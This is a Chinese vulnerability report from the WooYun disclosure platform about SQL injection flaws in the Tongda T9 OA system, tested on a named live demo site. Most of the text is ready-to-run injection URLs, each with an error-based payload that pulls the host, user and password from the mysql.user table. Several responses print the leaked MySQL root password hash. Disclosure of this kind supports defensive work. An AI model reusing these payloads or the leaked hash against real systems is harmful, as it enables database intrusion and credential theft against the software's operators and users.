WooYun.org

接 WooYun: 通达T9 oa系统sql注射12处打包(demo站点root权限)
测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp
测试帐号及密码 oa/无
注入1：http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572
获取数据库账户名和密码:
http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
注入结果:ception: com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1
注入2:
http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/index1.jsp?type=1&sortId=183',&skin=&flowId=
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') order by a.RUN_ID DESC,a.PRCS_TIME DESC' at line 1
注入3:
http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
注入结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入4:
http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getNewPriv.act?privCode=NOAPPROVE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入5:
http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getApproveList.act?privCode=APPROVE'
注入6:
http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE'
注入7:
http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowList.act?sortId=1'
注入8：
http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9MyWorkAct/hasWork.act?sortId=184',&flowId=
注入9:
http://t9.go2oa.com/t9/t9/core/codeclass/act/T9CodeClassAct/deleteCodeItem.act?sqlId=1335%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
结果:
{"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}
注入10:
http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&deType=4
结果:
{"rtState":"1", "rtMsrg":"邮件删除失败！可能原因：Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}